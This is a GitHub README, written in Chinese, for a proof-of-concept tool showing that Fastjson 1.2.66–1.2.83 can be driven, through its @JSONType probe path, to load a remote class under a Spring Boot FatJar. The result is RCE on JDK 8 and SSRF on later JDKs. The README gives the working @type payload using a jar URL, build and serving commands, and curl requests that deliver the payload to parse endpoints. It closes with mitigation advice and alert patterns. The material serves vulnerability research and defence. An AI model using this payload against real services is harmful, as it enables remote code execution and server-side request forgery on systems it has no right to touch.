wouijvziqy/Fastjson-JsonType-RCE-PoC

GitHub: wouijvziqy/Fastjson-JsonType-RCE-PoC

验证 Fastjson 1.2.66–1.2.83 在 Spring Boot FatJar 下经 `@JSONType` 探测路径触发远程类加载导致 RCE/SSRF 的 PoC 工具。

Stars: 4 | Forks: 38

# Fastjson AutoType + Spring Boot FatJar JSONType RCE PoC ## 摘要 `ParserConfig.checkAutoType` 包含一个 `@JSONType` 探测路径,该路径会将提交的 `@type` 值重构为类资源: ``` String resource = typeName.replace('.', '/') + ".class"; is = defaultClassLoader.getResourceAsStream(resource); ``` 如果传入的值类似于 `jar:http:..2130706433:18080.probe!.POC`,替换操作会生成 jar URL `jar:http://2130706433:18080/probe!/POC.class`(`2130706433` 是 `127.0.0.1` 的整数形式)。 观察到的行为取决于类加载器和 JDK: | 环境 | 网络请求 | 结果 | | --- | --- | --- | | 使用 JDK `AppClassLoader` 的普通 classpath | 否 | `JSONException: autoType is not support` | | 在 JDK 8 上使用 `LaunchedURLClassLoader` 的 Spring Boot FatJar | 是,通常会有两次 `GET /probe` 请求 | 远程类的字节码可以被定义并初始化 | | 在 JDK 9+ 上使用 `LaunchedURLClassLoader` 的 Spring Boot FatJar | 是 | SSRF 仍然存在,但类定义因非法类名错误而失败 | | `setAutoTypeSupport(true)` 或 fastjson <= 1.2.24 | 否 | 在测试路径中,该 payload 会降级为普通的 `JSONObject` 字段 | ## 触发条件 以下所有条件均与完整的远程类加载路径相关: | 条件 | 备注 | | --- | --- | | fastjson 版本 | 在 1.2.66 到 1.2.83 版本(包含边界)中观察到,其中包括 `@JSONType` 探测路径。即使在 AutoType 被禁用的情况下,也可以触达该路径,因为注解探测是一个受信任的通道。 | | 类加载器 | 使用 Spring Boot 传统 FatJar 执行(此时 fastjson 由 `LaunchedURLClassLoader` 加载),或者由应用程序提供的 `ParserConfig.setDefaultClassLoader()` 负责解析 jar 样式的资源名称。 | | JDK | 此路线实现完整的 RCE 需要 JDK 8。JDK 9+ 会在 `defineClass` 期间拒绝构造的内部类名,但 SSRF 仍然会发生。 | | 网络 | 目标 runtime 必须能够通过 HTTP 或其他可达的 URL 协议获取远程 jar。 | ## 项目结构 ``` . |-- README.md |-- pom.xml |-- scripts/ | |-- build-harness.sh | `-- fetch-deps.sh |-- src/main/java/ | |-- FatRunner.java | |-- Gen.java | |-- POC.java | |-- Test.java | `-- Test2.java `-- sbdemo/ |-- pom.xml `-- src/main/java/com/percivalll/fastjson/jsontype/ |-- DemoApplication.java |-- FastjsonHarness.java |-- ParseController.java `-- WorkerParser.java ``` ## 前置条件 - 需要完整的类定义结果请使用 JDK 8。 - JDK 9+ 可用于验证仅 SSRF 的行为。 - 执行 `scripts/fetch-deps.sh` 需要 `curl`。 - 根目录测试工具可选使用 Maven。脚本会直接将所需的 jar 下载到 `lib/` 目录中。 - `sbdemo/` 真实的 Spring Boot 应用程序必须使用 Maven。 ## 构建本地测试工具 ``` scripts/build-harness.sh ``` 该脚本会下载: - `fastjson-1.2.83.jar` - `spring-boot-loader-2.7.18.jar` - `spring-boot-loader-1.5.22.RELEASE.jar` - `asm-9.6.jar` 然后,它将测试工具编译到 `target/classes` 目录中,并生成 `probe.jar`。生成的 jar 包含一个精心构造的 `POC.class`,其字节码内部名称为: ``` jar:http://2130706433:18080/probe!/POC ``` ## 测试工具复现 测试工具使用的 payload 为: ``` {"@type":"jar:http:..2130706433:18080.probe!.POC","x":1} ``` 在普通 classpath 下的基准测试: ``` java -cp "target/classes:lib/fastjson-1.2.83.jar" Test parse-default ``` Spring Boot 2.7 加载器路径: ``` rm -f PWNED2 java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-parse ls -la PWNED2 ``` Spring Boot 1.5 加载器路径: ``` rm -f PWNED2 java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-1.5.22.RELEASE.jar" Test2 sb15-parse ls -la PWNED2 ``` 直接的基础检查: ``` java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-direct java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-check java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-load java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-fatrun ``` 在 JDK 8 上,`sb27-parse`、`sb15-parse`、`sb27-load` 和 `sb27-fatrun` 路由可以定义并初始化远程类。在 JDK 9+ 上,HTTP 请求获取操作仍会发生,但类定义会被更严格的 JVM 类名校验拦截。 ## 各文件作用 `Test.java` 是普通 classpath 的基准测试。它启动一个 localhost HTTP 服务器,执行 fastjson 解析和 `checkAutoType`,并记录是否发出了 HTTP 请求。 `Test2.java` 构建了一个 Spring Boot `LaunchedURLClassLoader`,通过本地 HTTP 监听器提供 `probe.jar`,并测试了直接资源查找、`checkAutoType`、`loadClass` 以及 `JSON.parse` 路径。 `Gen.java` 使用 ASM 生成一个仅包含字节码内部名称的类(这种类名无法通过 Java 源码编写)。生成的类带有一个 runtime 可见的 `@JSONType` 注解,并在初始化时创建 `PWNED2`。 `POC.java` 是一个带有 `@JSONType` 的普通对照类。 `FatRunner.java` 通过 FatJar 样式的类加载器加载,以更好地模拟在 Spring Boot 可执行 jar 内部运行的 fastjson。 ## 真实 Spring Boot 示例 `sbdemo/` 项目是一个包含 fastjson 1.2.83 的最小化 Spring Boot 2.7.18 服务。默认情况下,它绑定到 `127.0.0.1:8081`。 使用 JDK 8 进行构建: ``` cd sbdemo JAVA_HOME=/path/to/jdk8 mvn package -DskipTests java -jar target/fastjson-jsontype-sbdemo-1.0.0-SNAPSHOT.jar ``` 在另一个终端中,将根目录测试工具生成的构造 jar 作为 `/probe` 提供访问: ``` cd .. scripts/build-harness.sh mkdir -p www cp probe.jar www/probe python3 -m http.server 18080 --bind 127.0.0.1 --directory www ``` 有用的 endpoint: ``` curl http://127.0.0.1:8081/info curl -X POST http://127.0.0.1:8081/parse \ -H 'Content-Type: application/json' \ -d '{"@type":"jar:http:..2130706433:18080.probe!.POC","x":1}' curl -X POST http://127.0.0.1:8081/parse-async \ -H 'Content-Type: application/json' \ -d '{"@type":"jar:http:..2130706433:18080.probe!.POC","x":1}' ``` 从原始研究笔记中观察到的行为: | 路由 | 结果 | | --- | --- | | Tomcat 请求线程 (`/parse`) | 会发生 SSRF,但该路由通常会在触发 RCE 之前停止,因为 Tomcat 请求线程的 TCCL 无法完成构造的远程类定义路径。 | | 启动时创建的工作线程 (`/parse-async`) | 在 JDK 8 且 TCCL 设置为 `LaunchedURLClassLoader` 的情况下,远程类加载路径可以执行完毕。 | | 任意入口点 | `@JSONType` 探测仍然可以触发 SSRF,因为它使用的是 `ParserConfig.class.getClassLoader()`。 | Tomcat 请求线程路由中的失败对于此 payload 系列是结构性的:远程 jar URL 需要包含 `://`,类资源重构需要 `..` 变为 `//`,而随后的 `Class.forName` 路径会在 Tomcat 能够加载构造的类之前,拒绝这个空的包片段。 ## 防御建议 1. 开启 fastjson SafeMode:`-Dfastjson.parser.safeMode=true`。 2. 实施严格的出站流量控制,确保应用 runtime 无法获取任意的 HTTP 资源。 3. 尽可能升级至 JDK 9+。这可以拦截此路线中的类定义步骤,尽管 SSRF 仍需单独进行缓解。 4. 迁移至 fastjson2,或从处理不受信任 JSON 的解析路径中移除 fastjson 1.x。 5. 处理不受信任的输入时,切勿开启 `ParserConfig.setAutoTypeSupport(true)`。 6. 对包含 `jar:`、`!`、混合 `..` URL 重构模式或诸如 `2130706433` 等整数形式 IP 字面量的可疑 `@type` 值设置告警。 7. 审查 `ParserConfig.setDefaultClassLoader()` 的调用位置,避免使用会将攻击者控制的资源名称解析为 URL 的类加载器。 ## 参考资料 - fastjson `ParserConfig.checkAutoType`,特别是资源重构逻辑附近的 `@JSONType` 探测代码块。 - Spring Boot `org.springframework.boot.loader.jar.Handler#parseURL`,其嵌套式 jar URL 的处理方式不同于 JDK 原生 classpath 路径。 - 在 fastjson 1.2.66 中引入并在原始笔记测试的后续 1.x 版本中存在的 `@JSONType` 探测行为。
标签:CISA项目, Fastjson, GHAS, Java安全, JS文件枚举, RCE, 域名枚举, 漏洞验证程序